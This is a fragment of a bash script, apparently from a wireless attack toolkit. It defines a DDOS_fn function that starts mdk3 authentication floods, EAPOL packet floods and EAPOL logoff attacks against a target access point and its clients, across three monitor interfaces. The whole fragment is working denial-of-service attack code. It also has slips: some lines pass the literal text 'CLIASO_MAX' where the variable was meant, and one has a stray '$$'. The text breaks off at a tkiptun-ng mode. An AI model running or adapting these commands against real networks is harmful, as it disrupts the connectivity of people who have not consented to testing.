#~~~~~~~~~~~~~~Start MDK DDOS Start~~~~~~~~~~~~~~~#
DDOS_fn()
{
if [ $MDKTYPE1 == 0 ]; then
ASSOC_CLIENT_fn
fi
if [ $MDKTYPE1 == 1 ]; then
ASSOC_CLIENT_fn
xterm -g 80x10-1+1 -T "mdk3 DOS 1" -e "mdk3 $MON a -a $TARGETAP1 -s 200 -m" &
sleep 1
xterm -g 80x10-1+200 -T "mdk3 DOS 2" -e "mdk3 $MON1 a -a $TARGETAP1 -s 200 -m" &
sleep 1
xterm -g 80x10-1+400 -T "mdk3 DOS 3" -e "mdk3 $MON2 a -a $TARGETAP1 -s 200 -m" &
fi
#####start mdk3 EAPOL #######
if [ $MDKTYPE1 == 2 ]; then
ASSOC_CLIENT_fn
xterm -g 80x10-1+1 -T "EAPOL Packet Flooding 1" -e sh -c "mdk3 $MON x 0 -t $TARGETAP1 -n $NMEWARN1 -s 100" &
sleep 1
xterm -g 80x10-1+200 -T "EAPOL Packet Flooding 2" -e sh -c "mdk3 $MON1 x 0 -t $TARGETAP1 -n $NMEWARN1 -s 100" &
sleep 1
xterm -g 80x10-1+400 -T "EAPOL Packet Flooding 3" -e sh -c "mdk3 $MON2 x 0 -t $TARGETAP1 -n $NMEWARN1 -s 100" &
fi
#####Start mdk3 combined DOS Heavy ######
if [ $MDKTYPE1 == 3 ]; then
ASSOC_CLIENT_fn
sleep 1
xterm -g 80x10-1+1 -T "mdk3 DOS 1" -e "mdk3 $MON a -a $TARGETAP1 -s 200 -m" &
sleep 1
xterm -g 80x10-1+200 -T "mdk3 DOS 2" -e "mdk3 $MON1 a -a $TARGETAP1 -s 200 -m" &
sleep 1
xterm -g 80x10-1+400 -T "EAPOL Packet Flooding 3" -e sh -c "mdk3 $MON2 x 0 -t $TARGETAP1 -n $NMEWARN1 -s 100" &
fi
#####Start mdk3 combined heavy on EAPOL ######
if [ $MDKTYPE1 == 4 ]; then
ASSOC_CLIENT_fn
sleep 1
xterm -g 80x10-1+1 -T "mdk3 DOS 1" -e "mdk3 $MON a -a $TARGETAP1 -s 200 -m" &
sleep 1
xterm -g 80x10-1+200 -T "EAPOL Packet Flooding 2" -e sh -c "mdk3 $MON1 x 0 -t $TARGETAP1 -n $NMEWARN1 -s 100" &
sleep 1
xterm -g 80x10-1+400 -T "EAPOL Packet Flooding 3" -e sh -c "mdk3 $MON2 x 0 -t $TARGETAP1 -n $NMEWARN1 -s 100" &
fi
# Pure log off
if [ $MDKTYPE1 == 5 ]; then
ASSOC_CLIENT_fn
sleep 1
if [ ! -z $CLIASO_MAX ]; then
xterm -g 80x10-1+1 -T "EAPOL Logoff 1" -e sh -c "mdk3 $MON x 1 -t $TARGETAP1 -c $CLIASO_MAX -s 100" &
else
xterm -g 80x10-1+1 -T "mdk3 DOS 1" -e "mdk3 $MON a -a $TARGETAP1 -s 200 -m" &
fi
sleep 1
if [ ! -z $CLIASO_MID ]; then
xterm -g 80x10-1+200 -T "EAPOL Logoff 2" -e sh -c "mdk3 $MON1 x 1 -t $TARGETAP1 -c $CLIASO_MID -s 100" &
else
xterm -g 80x10-1+200 -T "mdk3 DOS 2" -e "mdk3 $MON1 a -a $TARGETAP1 -s 200 -m" &
fi
sleep 1
if [ ! -z $CLIASO_LOW ]; then
xterm -g 80x10-1+400 -T "EAPOL Logoff 3" -e sh -c "mdk3 $MON2 x 1 -t $TARGETAP1 -c $$CLIASO_LOW -s 100" &
else
xterm -g 80x10-1+400 -T "mdk3 DOS 3" -e "mdk3 $MON2 a -a $TARGETAP1 -s 200 -m" &
fi
fi
# DOS heavy EAPOL log off lite
if [ $MDKTYPE1 == 6 ]; then
ASSOC_CLIENT_fn
sleep 1
xterm -g 80x10-1+1 -T "mdk3 DOS 1" -e "mdk3 $MON a -a $TARGETAP1 -s 200 -m" &
sleep 1
xterm -g 80x10-1+200 -T "mdk3 DOS 2" -e "mdk3 $MON1 a -a $TARGETAP1 -s 200 -m" &
sleep 1
if [ ! -z $CLIASO_MAX ]; then
xterm -g 80x10-1+400 -T "EAPOL Logoff 3" -e sh -c "mdk3 $MON2 x 1 -t $TARGETAP1 -c $CLIASO_MAX -s 100" &
else
xterm -g 80x10-1+400 -T "mdk3 DOS 3" -e "mdk3 $MON2 a -a $TARGETAP1 -s 200 -m" &
fi
fi
# DOS heavy EAPOL log off lite
if [ $MDKTYPE1 == 7 ]; then
ASSOC_CLIENT_fn
sleep 1
if [ ! -z $CLIASO_MAX ]; then
xterm -g 80x10-1+1 -T "EAPOL Logoff 1" -e sh -c "mdk3 $MON x 1 -t $TARGETAP1 -c $CLIASO_MAX -s 100" &
else
xterm -g 80x10-1+1 -T "mdk3 DOS 1" -e "mdk3 $MON a -a $TARGETAP1 -s 200 -m" &
fi
sleep 1
if [ ! -z $CLIASO_MID ]; then
xterm -g 80x10-1+200 -T "EAPOL Logoff 2" -e sh -c "mdk3 $MON1 x 1 -t $TARGETAP1 -c $CLIASO_MID -s 100" &
else
xterm -g 80x10-1+200 -T "mdk3 DOS 2" -e "mdk3 $MON1 a -a $TARGETAP1 -s 200 -m" &
fi
sleep 1
xterm -g 80x10-1+400 -T "mdk3 DOS 3" -e "mdk3 $MON2 a -a $TARGETAP1 -s 200 -m" &
fi
# EAPOL log off Heavy EAPOL Packet Flooding lite
if [ $MDKTYPE1 == 8 ]; then
ASSOC_CLIENT_fn
sleep 1
if [ ! -z $CLIASO_MAX ]; then
xterm -g 80x10-1+1 -T "EAPOL Logoff 1" -e sh -c "mdk3 $MON x 1 -t $TARGETAP1 -c CLIASO_MAX -s 100" &
else
xterm -g 80x10-1+1 -T "mdk3 DOS 1" -e "mdk3 $MON a -a $TARGETAP1 -s 200 -m" &
fi
sleep 1
if [ ! -z $CLIASO_MID ]; then
xterm -g 80x10-1+200 -T "EAPOL Logoff 2" -e sh -c "mdk3 $MON1 x 1 -t $TARGETAP1 -c $CLIASO_MID -s 100" &
else
xterm -g 80x10-1+200 -T "mdk3 DOS 2" -e "mdk3 $MON1 a -a $TARGETAP1 -s 200 -m" &
fi
sleep 1
xterm -g 80x10-1+400 -T "EAPOL Packet Flooding 3" -e sh -c "mdk3 $MON2 x 0 -t $TARGETAP1 -n $NMEWARN1 -s 100" &
fi
# EAPOL log off lite EAPOL Packet Flooding heavy
if [ $MDKTYPE1 == 9 ]; then
ASSOC_CLIENT_fn
sleep 1
if [ ! -z $CLIASO_MAX ]; then
xterm -g 80x10-1+1 -T "EAPOL Logoff 1" -e sh -c "mdk3 $MON x 1 -t $TARGETAP1 -c CLIASO_MAX -s 100" &
else
xterm -g 80x10-1+1 -T "mdk3 DOS 1" -e "mdk3 $MON a -a $TARGETAP1 -s 200 -m" &
fi
sleep 1
xterm -g 80x10-1+200 -T "EAPOL Packet Flooding 2" -e sh -c "mdk3 $MON1 x 0 -t $TARGETAP1 -n $NMEWARN1 -s 100" &
sleep 1
xterm -g 80x10-1+400 -T "EAPOL Packet Flooding 3" -e sh -c "mdk3 $MON2 x 0 -t $TARGETAP1 -n $NMEWARN1 -s 100" &
fi
# EAPOL log off lite EAPOL Packet Flooding lite DOS lite
if [ $MDKTYPE1 == 10 ]; then
ASSOC_CLIENT_fn
sleep 1
if [ ! -z $CLIASO_MAX ]; then
xterm -g 80x10-1+1 -T "EAPOL Logoff 1" -e sh -c "mdk3 $MON x 1 -t $TARGETAP1 -c CLIASO_MAX -s 100" &
else
xterm -g 80x10-1+1 -T "mdk3 DOS 1" -e "mdk3 $MON a -a $TARGETAP1 -s 200 -m" &
fi
sleep 1
xterm -g 80x10-1+200 -T "EAPOL Packet Flooding 2" -e sh -c "mdk3 $MON1 x 0 -t $TARGETAP1 -n $NMEWARN1 -s 100" &
sleep 1
xterm -g 80x10-1+400 -T "mdk3 DOS 3" -e "mdk3 $MON2 a -a $TARGETAP1 -s 200 -m" &
fi
# tkiptun-ng
if [ $MDKTYPE1 == 11 ]; then
ASSOC_CLIENT_fn